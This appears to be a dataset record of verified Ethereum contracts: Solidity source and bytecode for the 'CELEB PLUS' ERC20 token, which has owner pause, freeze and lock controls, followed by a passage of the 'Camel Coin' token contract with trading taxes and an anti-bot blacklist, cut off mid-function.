interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor (address _myOwner) internal {
_owner = _myOwner;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable{
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Token{
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(address _mywallet, uint256 initialSupply,string memory tokenName,string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[_mywallet] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract CELEBToken is ERC20Token, Ownable,Pausable{
mapping (address => bool) public frozenAccount;
mapping(address => uint256) public lockedAccount;
event FreezeAccount(address account, bool frozen);
event LockAccount(address account,uint256 unlockTime);
address myWallet = address(0xfB4bDFF0dCfa9Ad2a9e9b6a9be8b0B4Da0899E5c);
constructor()Ownable(myWallet) ERC20Token(myWallet, 10000000000,"CELEB PLUS","CELEB") public {
}
/**
* Freeze Account
*/
function freezeAccount(address account) onlyOwner public {
frozenAccount[account] = true;
emit FreezeAccount(account, true);
}
/**
* unFreeze Account
*/
function unFreezeAccount(address account) onlyOwner public{
frozenAccount[account] = false;
emit FreezeAccount(account, false);
}
/**
* lock Account, if account is locked, fund can only transfer in but not transfer out.
* Can not unlockAccount, if need unlock account , pls call unlockAccount interface
*/
function lockAccount(address account, uint256 unlockTime) onlyOwner public{
require(unlockTime > now);
lockedAccount[account] = unlockTime;
emit LockAccount(account,unlockTime);
}
/**
* unlock Account
*/
function unlockAccount(address account) onlyOwner public{
lockedAccount[account] = 0;
emit LockAccount(account,0);
}
function changeName(string memory newName) public onlyOwner {
name = newName;
}
function changeSymbol(string memory newSymbol) public onlyOwner{
symbol = newSymbol;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal whenNotPaused {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
//if account is frozen, then fund can not be transfer in or out.
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
//if account is locked, then fund can only transfer in but can not transfer out.
require(!isAccountLocked(_from));
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function isAccountLocked(address account) public view returns (bool) {
return lockedAccount[account] > now;
}
function isAccountFrozen(address account) public view returns (bool){
return frozenAccount[account];
}
} | 0x608060405234801561001057600080fd5b50600436106101ec576000357c01000000000000000000000000000000000000000000000000000000009004806379cc679011610121578063a9059cbb116100bf578063dd62ed3e1161008e578063dd62ed3e14610a94578063e816d97f14610b0c578063f26c159f14610b68578063f2fde38b14610bac576101ec565b8063a9059cbb14610887578063b414d4b6146108ed578063bf620a4514610949578063cae9ca5114610997576101ec565b80638f32d59b116100fb5780638f32d59b146106e3578063905295e31461070557806395d89b4114610749578063a3895fff146107cc576101ec565b806379cc6790146106295780638456cb591461068f5780638da5cb5b14610699576101ec565b80635353a2d81161018e57806370a082311161016857806370a0823114610513578063715018a61461056b578063718ccce91461057557806374eb9b68146105cd576101ec565b80635353a2d8146103f257806353cc2fae146104ad5780635c975abb146104f1576101ec565b806323b872dd116101ca57806323b872dd146102f8578063313ce5671461037e5780633f4ba83a146103a257806342966c68146103ac576101ec565b806306fdde03146101f1578063095ea7b31461027457806318160ddd146102da575b600080fd5b6101f9610bf0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023957808201518184015260208101905061021e565b50505050905090810190601f1680156102665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c06004803603604081101561028a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8e565b604051808215151515815260200191505060405180910390f35b6102e2610d80565b6040518082815260200191505060405180910390f35b6103646004803603606081101561030e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d86565b604051808215151515815260200191505060405180910390f35b610386610ead565b604051808260ff1660ff16815260200191505060405180910390f35b6103aa610ec0565b005b6103d8600480360360208110156103c257600080fd5b8101908080359060200190929190505050610f6e565b604051808215151515815260200191505060405180910390f35b6104ab6004803603602081101561040857600080fd5b810190808035906020019064010000000081111561042557600080fd5b82018360208201111561043757600080fd5b8035906020019184600183028401116401000000008311171561045957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611077565b005b6104ef600480360360208110156104c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110a4565b005b6104f9611182565b604051808215151515815260200191505060405180910390f35b6105556004803603602081101561052957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611199565b6040518082815260200191505060405180910390f35b6105736111b1565b005b6105b76004803603602081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611285565b6040518082815260200191505060405180910390f35b61060f600480360360208110156105e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129d565b604051808215151515815260200191505060405180910390f35b6106756004803603604081101561063f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112e8565b604051808215151515815260200191505060405180910390f35b610697611501565b005b6106a16115b0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106eb6115da565b604051808215151515815260200191505060405180910390f35b6107476004803603602081101561071b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611632565b005b6107516116f9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610791578082015181840152602081019050610776565b50505050905090810190601f1680156107be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610885600480360360208110156107e257600080fd5b81019080803590602001906401000000008111156107ff57600080fd5b82018360208201111561081157600080fd5b8035906020019184600183028401116401000000008311171561083357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611797565b005b6108d36004803603604081101561089d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117c4565b604051808215151515815260200191505060405180910390f35b61092f6004803603602081101561090357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117db565b604051808215151515815260200191505060405180910390f35b6109956004803603604081101561095f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117fb565b005b610a7a600480360360608110156109ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156109f457600080fd5b820183602082011115610a0657600080fd5b80359060200191846001830284011164010000000083111715610a2857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506118cf565b604051808215151515815260200191505060405180910390f35b610af660048036036040811015610aaa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a53565b6040518082815260200191505060405180910390f35b610b4e60048036036020811015610b2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a78565b604051808215151515815260200191505060405180910390f35b610baa60048036036020811015610b7e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ace565b005b610bee60048036036020811015610bc257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bac565b005b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c865780601f10610c5b57610100808354040283529160200191610c86565b820191906000526020600020905b815481529060010190602001808311610c6957829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b6000610e1782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea2848484611bed565b600190509392505050565b600260009054906101000a900460ff1681565b610ec86115da565b1515610ed357600080fd5b600660149054906101000a900460ff161515610eee57600080fd5b6000600660146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610fc282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101a82600354611bcb90919063ffffffff16565b6003819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b61107f6115da565b151561108a57600080fd5b80600090805190602001906110a0929190611fbd565b5050565b6110ac6115da565b15156110b757600080fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd16a7a4ba83c78a07676c543502e8155f633ecd3c35abb1da51bcbf129758b0f816000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a150565b6000600660149054906101000a900460ff16905090565b60046020528060005260406000206000915090505481565b6111b96115da565b15156111c457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60086020528060005260406000206000915090505481565b600042600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b600061133c82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140e82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a382600354611bcb90919063ffffffff16565b6003819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6115096115da565b151561151457600080fd5b600660149054906101000a900460ff1615151561153057600080fd5b6001600660146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b61163a6115da565b151561164557600080fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fd54d19172fb86c7b0ec92bd53717c37c4e77dd87775bae11a52816120905a2fa816000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561178f5780601f106117645761010080835404028352916020019161178f565b820191906000526020600020905b81548152906001019060200180831161177257829003601f168201915b505050505081565b61179f6115da565b15156117aa57600080fd5b80600190805190602001906117c0929190611fbd565b5050565b60006117d1338484611bed565b6001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6118036115da565b151561180e57600080fd5b428111151561181c57600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fd54d19172fb86c7b0ec92bd53717c37c4e77dd87775bae11a52816120905a2fa8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000808490506118df8585610c8e565b15611a4a578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119d95780820151818401526020810190506119be565b50505050905090810190601f168015611a065780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611a2857600080fd5b505af1158015611a3c573d6000803e3d6000fd5b505050506001915050611a4c565b505b9392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611ad66115da565b1515611ae157600080fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd16a7a4ba83c78a07676c543502e8155f633ecd3c35abb1da51bcbf129758b0f816001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a150565b611bb46115da565b1515611bbf57600080fd5b611bc881611ea0565b50565b6000828211151515611bdc57600080fd5b600082840390508091505092915050565b600660149054906101000a900460ff16151515611c0957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c4557600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c9e57600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611cf757600080fd5b611d008361129d565b151515611d0c57600080fd5b611d5e81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df381600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611edc57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110151515611fb357600080fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ffe57805160ff191683800117855561202c565b8280016001018555821561202c579182015b8281111561202b578251825591602001919060010190612010565b5b509050612039919061203d565b5090565b61205f91905b8082111561205b576000816000905550600101612043565b5090565b9056fea165627a7a723058200dd35a771caa3c53dba09778ead5b4b0663ec8228e02b0c126579dad866558d60029 | {"success": true, "error": null, "results": {}} | 9,609 |
0x390ad530aa5d3095b9bb92fd4175592159fc2846 | /**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
https://t.me/OfficialCamelCoin
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CamelCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Camel Coin";//
string private constant _symbol = "Camel Coin";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 7;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 15;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x20436390B46d83CaCA54AE99e9718d4729b77959);//
address payable private _marketingAddress = payable(0x20436390B46d83CaCA54AE99e9718d4729b77959);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 16000000000 * 10**9; //
uint256 public _maxWalletSize = 34000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+4 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
